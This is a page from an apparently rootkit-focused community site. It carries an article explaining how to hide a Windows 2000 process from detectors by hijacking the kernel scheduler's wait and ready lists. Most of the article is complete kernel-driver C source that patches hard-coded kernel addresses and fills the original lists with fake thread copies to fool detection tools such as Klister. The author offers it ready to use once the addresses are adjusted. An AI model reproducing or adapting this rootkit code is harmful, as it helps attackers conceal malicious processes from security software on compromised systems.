 main menuhome
forums Show me new threads!
bookmarks
post article
view blogs
vault you must be level 2 to upload files to your vault
downloads you must be logged to access downloads
Rootkit Collection
A news back-end to implement RootKit news into your website is here or more advanced version here.
An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.
Beta feed for replied posts here. feedback to admins not forums, we know about times being off...
|
ROOTKIT
Share Your Old Stuff, Keep Your Good Stuff
|
Saturday July 31st |
| | Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C by jeffosz | Byepass Scheduler List Process Detection By: SoBeIt Byepass Scheduler List Process Detection SoBeIt Email:kinvis@hotmail.om Common methods of process-hiding are practically not able to hide the process thoroughly. That is because the scheduler of the kernel is based on thread, not process. Allow me to introduce my all-ready-done solution which is much more hidden. We know that scheduler uses three lists: KiWaitInListHead=0x80482258 KiWaitOutListhead=0x80482808 KiDispatcherReadyListHead=0x804822e0 (This list is an array, actually consisting of 32 LIST_ENTRY structures, relating to 32 priorities). In fact,there are also several lists used by the Balance Set Manager: KiProcessInSwapListHead KiProcessOutSwapListHead KiStackInSwapListHead which we can also use to enumerate thread and process. However, most of the time they are blank. The Balance Set Manager will only be utilized by the Working Set Manager when the page fault rate is too high or the free lists of the working set are too few. So, there aren't many records in the List and also they are executive at a high speed. While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution). The routines using KiWaitInListHead in the system: KeWaitForSingleObject KeWaitForMultipleObject KeDelayExecutionThread KiOutSwapKernelStacks The routine of KiWaitOutListHead is the same as the routines of KiWaitInListHead. The former three routines all use macro KiInsertWaitList. And because the last one uses macro RemoveEntryList, the routine's assembler codes will engender two 0x8048280c; If they are not also replaced, mistakes will exist. (The system can normally run for a while, but it will reboot when new threads are scheduled, because the original list has been all messed up. -_-) The routines using KiDispatcherReadyListHead are below: KeSetAffinityThread KiFindReadyThread KiReadyThread KiSetPriorityThread NtYieldExecution KiScanReadyQueues KiSwapThread That KiSetPriorityThread also uses macro RemoveEntryList, so it will engender one 0x804822e4. Fortunately it is not difficult to find them: if existing, they will appear after the original list addresses not very far away. (The reason is that the macro RemoveEntryList is never used alone in scheduler.) Then you can replace all the schedule lists used in the system with new lists, and copy content of our lists to the original lists, to cheat the rootkit detecter. At first, I do a simple copy. When I run Klister, machine reboot. What a surprise, becase normal user will think that Klister cause mistake(Sorry to Joanna Rutkowska^_^) Because when I run Klister, system has been scheduled for many times, original lists are already messed up. When you read these lists, it will cause an endless cycle, because you can never read the head of list again. We must avoid these so we shall allocate new thread objects to cheat detecter (because only for cheating, these objects are not for common using, so I allocate smaller structs to save memory). Then we create a system thread, copy new lists to original lists each time when the system thread is awoken. While copying, we can delete these records which we want to hide. Because all addresses I used are hard coded it can be only running in Windows 2000 Build 2195 SP4 Chinese Edition. You can simply change these hard coded addresses to the addresses of your system, and it will work well. Here is the code, I hide System process(PID=0x8):
#include "ntddk.h" #include "ntifs.h" #include "stdio.h" #include "stdarg.h"
typedef struct _DEVICE_EXTENSION { HANDLE hWorkerThread; KEVENT ExitEvent; PDEVICE_OBJECT pDeviceObject; BOOLEAN bExit; }DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{ DISPATCHER_HEADER Header; LIST_ENTRY MutantListHead; PVOID InitialStack; PVOID StackLimit; struct _TEB *Teb; PVOID TlsArray; PVOID KernelStack; BOOLEAN DebugActive; UCHAR State; USHORT Alerted; UCHAR Iopl; UCHAR NpxState; UCHAR Saturation; UCHAR Priority; KAPC_STATE ApcState; ULONG ContextSwitches; NTSTATUS WaitStatus; UCHAR WaitIrql; UCHAR WaitMode; UCHAR WaitNext; UCHAR WaitReason; PKWAIT_BLOCK WaitBlockList; LIST_ENTRY WaitListEntry; ULONG WaitTime; UCHAR BasePriority; UCHAR DecrementCount; UCHAR PriorityDecrement; UCHAR Quantum; KWAIT_BLOCK WaitBlock[4]; ULONG LegoData; ULONG KernelApcDisable; ULONG UserAffinity; BOOLEAN SystemAffinityActive; UCHAR PowerState; UCHAR NpxIrql; UCHAR Pad[1]; PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable; PKQUEUE Queue; KSPIN_LOCK ApcQueueLock; KTIMER Timer; LIST_ENTRY QueueListEntry; ULONG Affinity; BOOLEAN Preempted; BOOLEAN ProcessReadyQueue; BOOLEAN KernelStackResident; UCHAR NextProcessor; PVOID CallbackStack; PVOID Win32Thread; PKTRAP_FRAME TrapFrame; PKAPC_STATE ApcStatePointer[2]; UCHAR PreviousMode; BOOLEAN EnableStackSwap; BOOLEAN LargeStack; UCHAR ResourceIndex; ULONG KernelTime; ULONG UserTime; KAPC_STATE SavedApcState; BOOLEAN Alertable; UCHAR ApcStateIndex; BOOLEAN ApcQueueable; BOOLEAN AutoAlignment; PVOID StackBase; KAPC SuspendApc; KSEMAPHORE SuspendSemaphore; LIST_ENTRY ThreadListEntry; UCHAR FreezeCount; UCHAR SuspendCount; UCHAR IdealProcessor; BOOLEAN DisableBoost; LARGE_INTEGER CreateTime; union { LARGE_INTEGER ExitTime; LIST_ENTRY LpcReplyChain; }; union { NTSTATUS ExitStatus; PVOID OfsChain; }; LIST_ENTRY PostBlockList; LIST_ENTRY TerminationPortList; KSPIN_LOCK ActiveTimerListLock; LIST_ENTRY ActiveTimerListHead; CLIENT_ID Cid; }FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext) { PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry; PLIST_ENTRY
pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead; PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead; int i, ChangeList; int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176,
0x8046443b, 0x80464441, 0x804644d6}; int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e,
0x80464494}; int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1}; int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de,
0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d}; int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b; KIRQL OldIrql; KSPIN_LOCK DpcSpinLock; LARGE_INTEGER DelayTime; NTSTATUS Status; PDEVICE_EXTENSION pDevExt; PEPROCESS pEPROCESS; PETHREAD pETHREAD; ULONG PID; PFAKE_ETHREAD pFakeETHREAD;
pDevExt = (PDEVICE_EXTENSION)pContext; DelayTime.QuadPart = -(10 * 1000 * 10000); pKiWaitInListHead = (PLIST_ENTRY)0x80482258; pKiWaitOutListHead = (PLIST_ENTRY)0x80482808; pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;
pNewKiWaitInListHead =
(PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY)); pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,
sizeof(LIST_ENTRY)); pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 *
sizeof(LIST_ENTRY));
InitializeListHead(pNewKiWaitInListHead); InitializeListHead(pNewKiWaitOutListHead);
for(i = 0; i < 32; i++) { InitializeListHead(&pNewKiDispatcherReadyListHead[i]); }
KeInitializeSpinLock(&DpcSpinLock);
__try { OldIrql = KeRaiseIrqlToDpcLevel(); KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pKiWaitInListHead->Flink; pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry; pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead; pLastEntry->Flink = pNewKiWaitInListHead;
for(i = 0; i < 7; i++) { ChangeList = SysKiWaitInListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead; DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList); }
pFirstEntry = pKiWaitOutListHead->Flink; pLastEntry = pKiWaitOutListHead->Blink;
pNewKiWaitOutListHead->Flink = pFirstEntry; pNewKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitOutListHead; pLastEntry->Flink = pNewKiWaitOutListHead;
for(i = 0; i < 5; i++) { ChangeList = SysKiWaitOutListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead; DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList); }
for(i = 0; i < 2; i++) { ChangeList = SysKiWaitOutListHeadAdd4Addr[i]; *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4; DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList); }
for(i = 0; i < 32; i++) { if(pKiDispatcherReadyListHead[i].Flink !=
&pKiDispatcherReadyListHead[i]) { pFirstEntry = pKiDispatcherReadyListHead[i].Flink; pLastEntry = pKiDispatcherReadyListHead[i].Blink;
pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry; pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i]; pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i]; } }
for(i = 0; i < 8; i++) { ChangeList = SysKiDispatcherReadyListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead; DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList); }
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr; *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4; DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock); KeLowerIrql(OldIrql);
for(;;) { InitializeListHead(pKiWaitInListHead); InitializeListHead(pKiWaitOutListHead);
for(i = 0; i < 32; i++) { InitializeListHead(&pKiDispatcherReadyListHead[i]); }
for(pEntry = pNewKiWaitInListHead->Flink; pEntry && pEntry != pNewKiWaitInListHead; pEntry
= pEntry->Flink) { pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c); pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process); PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8) { continue; } pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD)); InsertHeadList(pKiWaitInListHead,
&pFakeETHREAD->WaitListEntry); }
for(pEntry = pNewKiWaitOutListHead->Flink; pEntry && pEntry != pNewKiWaitOutListHead; pEntry
= pEntry->Flink) { pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c); pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process); PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8) { continue; }
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD)); InsertHeadList(pKiWaitOutListHead,
&pFakeETHREAD->WaitListEntry); }
for(i = 0; i < 32 ; i++) { for(pEntry = pNewKiDispatcherReadyListHead[i].Flink; pEntry && pEntry !=
&pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink) { pETHREAD = (PETHREAD)(((char
*)pEntry)-0x5c); pEPROCESS =
(PEPROCESS)(pETHREAD->Tcb.ApcState.Process); PID = *(ULONG *)(((char
*)pEPROCESS)+0x9c); if(PID == 0x8) { continue; }
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD,
sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry); } }
DbgPrint("pKiWaitInListHead->Flink:%8x",
pKiWaitInListHead->Flink); DbgPrint("pKiWaitInListHead->Blink:%8x",
pKiWaitInListHead->Blink); DbgPrint("pKiWaitOutListHead->Flink:%8x",
pKiWaitOutListHead->Flink); DbgPrint("pKiWaitOutListHead->Blink:%8x",
pKiWaitOutListHead->Blink); DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x",
pKiDispatcherReadyListHead[0].Flink); DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x",
pKiDispatcherReadyListHead[0].Blink);
Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode, FALSE,
&DelayTime);
if(Status == STATUS_SUCCESS) break; }
OldIrql = KeRaiseIrqlToDpcLevel(); KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pNewKiWaitInListHead->Flink; pLastEntry = pNewKiWaitInListHead->Blink;
pKiWaitInListHead->Flink = pFirstEntry; pKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitInListHead; pLastEntry->Flink = pKiWaitInListHead;
for(i = 0; i < 7; i++) { ChangeList = SysKiWaitInListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pKiWaitInListHead; DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList); }
pFirstEntry = pNewKiWaitOutListHead->Flink; pLastEntry = pNewKiWaitOutListHead->Blink;
pKiWaitOutListHead->Flink = pFirstEntry; pKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitOutListHead; pLastEntry->Flink = pKiWaitOutListHead;
for(i = 0; i < 5; i++) { ChangeList = SysKiWaitOutListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead; DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList); }
for(i = 0; i < 2; i++) { ChangeList = SysKiWaitOutListHeadAdd4Addr[i]; *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4; DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList); }
for(i = 0; i < 32; i++) { if(pNewKiDispatcherReadyListHead[i].Flink !=
&pNewKiDispatcherReadyListHead[i]) { pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink; pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;
pKiDispatcherReadyListHead[i].Flink = pFirstEntry; pKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pKiDispatcherReadyListHead[i]; pLastEntry->Flink = &pKiDispatcherReadyListHead[i]; } }
for(i = 0; i < 8; i++) { ChangeList = SysKiDispatcherReadyListHeadAddr[i]; *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead; DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList); }
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr; *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4; DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock); KeLowerIrql(OldIrql);
ExFreePool(pNewKiWaitInListHead); ExFreePool(pNewKiWaitOutListHead); ExFreePool(pNewKiDispatcherReadyListHead);
DbgPrint("Now terminate system thread.\n");
PsTerminateSystemThread(STATUS_SUCCESS); } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Error occured in ReplaceList().\n"); }
return; }
NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj) { WCHAR DevLinkBuf[] = L"\\??\\SchList"; UNICODE_STRING uniDevLink; PDEVICE_OBJECT pDevObj; PVOID pWorkerThread; PDEVICE_EXTENSION pDevExt; NTSTATUS Status; LARGE_INTEGER WaitTime;
WaitTime.QuadPart = -(8 * 1000 * 10000); pDevObj = pDriObj->DeviceObject; pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension; pDevExt->bExit = TRUE;
__try { KeSetEvent(&pDevExt->ExitEvent, 0, FALSE); KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
DbgPrint("SchList:Worker thread killed.\n"); } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Error occured in Unload().\n"); }
if(pDevObj) { RtlInitUnicodeString(&uniDevLink,DevLinkBuf); IoDeleteSymbolicLink(&uniDevLink); IoDeleteDevice(pDevObj);
DbgPrint(("SchList.sys:Driver Unload successfully.\n"));
return STATUS_SUCCESS; }
DbgPrint(("SchList.sys:Detect device failed.\n"));
return STATUS_SUCCESS; }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj, IN PUNICODE_STRING puniRegPath) { WCHAR DevNameBuf[] = L"\\Device\\SchList"; UNICODE_STRING uniDevName; WCHAR DevLinkBuf[] = L"\\??\\SchList"; UNICODE_STRING uniDevLink; PDEVICE_OBJECT pDevObj; PDEVICE_EXTENSION pDevExt; NTSTATUS status; int pKiDispatcherReadyListHeadAddr = 0x804822e0; int pKiWaitInListHeadAddr = 0x80482258; int pKiWaitOutListHeadAddr = 0x80482808;
DbgPrint(("SchList:Enter DriverEntry.\n"));
RtlInitUnicodeString(&uniDevName,DevNameBuf);
status = IoCreateDevice(pDriObj, sizeof(DEVICE_EXTENSION), &uniDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);
if(!NT_SUCCESS(status)) { DbgPrint(("SchList.sys:Create device failed.\n"));
return status; }
DbgPrint(("SchList.sys:Create device successfully.\n"));
pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension; pDevExt->pDeviceObject = pDevObj;
KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0); RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
status = IoCreateSymbolicLink(&uniDevLink, &uniDevName);
if(!NT_SUCCESS(status)) { DbgPrint(("SchList.sys:Create symbolic link failed.\n"));
return status; }
pDriObj->DriverUnload = DriverUnload;
PsCreateSystemThread(&pDevExt->hWorkerThread, (ACCESS_MASK)0L, NULL, (HANDLE)0L, NULL, ReplaceList, pDevExt);
return STATUS_SUCCESS; }
my pool english-_-
|
| |
ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler
Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.
|
active for last 5 minutes
registered users:79912
There are currently 0 registered users and 16 guests browsing the website.
Welcome our latest registered user: Pris
| Jul 31, 12:06 |
| May 09, 04:30 |
| May 08, 15:33 |
| May 04, 15:42 |
| May 02, 03:59 |
| Best Screenshots / Analog |
| the most active news users |
based on the number of news posts for last 30 days
|